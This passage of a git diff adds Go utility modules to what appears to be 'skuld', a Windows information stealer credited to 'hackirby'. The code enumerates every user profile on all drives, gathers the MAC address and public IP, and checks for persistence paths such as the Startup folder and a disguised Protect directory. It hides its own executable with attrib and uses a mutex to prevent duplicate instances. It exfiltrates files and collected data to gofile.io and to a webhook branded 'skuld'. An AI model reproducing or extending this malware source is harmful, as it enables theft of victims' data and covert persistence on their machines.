cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + out, err := cmd.Output() + if err != nil { + return "", err + } + + return strings.TrimSpace(strings.Split(string(out), "\n")[1]), nil +} + +func GetMAC() (string, error) { + interfaces, err := net.Interfaces() + if err != nil { + return "", err + } + + for _, i := range interfaces { + if i.Flags&net.FlagUp != 0 && !bytes.Equal(i.HardwareAddr, nil) { + return i.HardwareAddr.String(), nil + } + } + + return "", fmt.Errorf("no MAC address found") +} + +func GetUsers() []string { + if !program.IsElevated() { + return []string{os.Getenv("USERPROFILE")} + } + + var users []string + drives, err := disk.Partitions(false) + if err != nil { + return []string{os.Getenv("USERPROFILE")} + } + + for _, drive := range drives { + mountpoint := drive.Mountpoint + + files, err := os.ReadDir(fmt.Sprintf("%s//Users", mountpoint)) + if err != nil { + continue + } + + for _, file := range files { + if !file.IsDir() { + continue + } + users = append(users, filepath.Join(fmt.Sprintf("%s//Users", mountpoint), file.Name())) + } + } + + return users +} diff --git a/utils/program/program.go b/utils/program/program.go new file mode 100644 index 0000000..c667d24 --- /dev/null +++ b/utils/program/program.go @@ -0,0 +1,53 @@ +package program + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "syscall" + + "golang.org/x/sys/windows" +) + +func IsElevated() bool { + ret, _, _ := syscall.NewLazyDLL("shell32.dll").NewProc("IsUserAnAdmin").Call() + return ret != 0 +} + +func IsInStartupPath() bool { + exePath, err := os.Executable() + if err != nil { + return false + } + exePath = filepath.Dir(exePath) + + if exePath == "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" { + return true + } + + if exePath == filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Protect") { + return true + } + + return false +} + +func HideSelf() { + exe, err := os.Executable() + if err != nil { + return + } + + cmd := exec.Command("attrib", "+h", "+s", exe) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + + cmd.Run() +} + +func IsAlreadyRunning() bool { + const AppID = "3575651c-bb47-448e-a514-22865732bbc" + + _, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID))) + return err != nil +} diff --git a/utils/requests/requests.go b/utils/requests/requests.go new file mode 100644 index 0000000..e5568b6 --- /dev/null +++ b/utils/requests/requests.go @@ -0,0 +1,196 @@ +package requests + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "mime/multipart" + "net/http" + "os" +) + +func Get(url string, headers ...map[string]string) ([]byte, error) { + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return nil, err + } + if len(headers) > 0 { + for key, value := range headers[0] { + req.Header.Set(key, value) + } + } + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + res, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + return res, nil +} + +func GetIP() string { + res, err := Get("https://api.ipify.org") + if err != nil { + return GetIP() + } + return string(res) +} + +func Post(url string, body []byte, headers ...map[string]string) ([]byte, error) { + req, err := http.NewRequest("POST", url, bytes.NewBuffer(body)) + if err != nil { + return nil, err + } + if len(headers) > 0 { + for key, value := range headers[0] { + req.Header.Set(key, value) + } + } + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + res, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + + return res, nil +} + +func Upload(file string) (string, error) { + res, err := Get("https://api.gofile.io/getServer") + if err != nil { + return "", err + } + + var server struct { + Status string `json:"status"` + Data struct { + Server string `json:"server"` + } `json:"data"` + } + + if err := json.Unmarshal(res, &server); err != nil { + return "", err + } + + if server.Status != "ok" { + return "", fmt.Errorf("error getting server") + } + + var body bytes.Buffer + writer := multipart.NewWriter(&body) + fw, err := writer.CreateFormFile("file", file) + + if err != nil { + return "", err + } + + fd, err := os.Open(file) + if err != nil { + return "", err + } + + defer fd.Close() + + _, err = io.Copy(fw, fd) + if err != nil { + return "", err + } + + writer.Close() + + res, err = Post(fmt.Sprintf("https://%s.gofile.io/uploadFile", server.Data.Server), body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()}) + if err != nil { + return "", err + } + + var response struct { + Data struct { + DownloadPage string `json:"downloadPage"` + } `json:"data"` + } + + if err := json.Unmarshal(res, &response); err != nil { + return "", err + } + + if response.Data.DownloadPage == "" { + return "", fmt.Errorf("error uploading file") + } + + return response.Data.DownloadPage, nil +} + +func Webhook(webhook string, data map[string]interface{}, files ...string) { + var body bytes.Buffer + writer := multipart.NewWriter(&body) + + i := 0 + + if len(files) > 10 { + Webhook(webhook, data) + for _, file := range files { + i++ + Webhook(webhook, map[string]interface{}{"content": fmt.Sprintf("Attachment %d: `%s`", i, file)}, file) + } + return + } + + for _, file := range files { + openedFile, err := os.Open(file) + if err != nil { + continue + } + defer openedFile.Close() + + filePart, err := writer.CreateFormFile(fmt.Sprintf("file[%d]", i), openedFile.Name()) + if err != nil { + continue + } + + if _, err := io.Copy(filePart, openedFile); err != nil { + continue + } + i++ + } + + jsonPart, err := writer.CreateFormField("payload_json") + if err != nil { + return + } + + data["username"] = "skuld" + data["avatar_url"] = "https://i.ibb.co/GFZ2tHJ/shakabaiano-1674282487.jpg" + + if data["embeds"] != nil { + for _, embed := range data["embeds"].([]map[string]interface{}) { + embed["footer"] = map[string]interface{}{ + "text": "skuld - made by hackirby", + "icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4", + } + embed["color"] = 0xb143e3 + } + } + + if err := json.NewEncoder(jsonPart).Encode(data); err != nil { + return + } + + if err := writer.Close(); err != nil { + return + } + + Post(webhook, body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()}) +}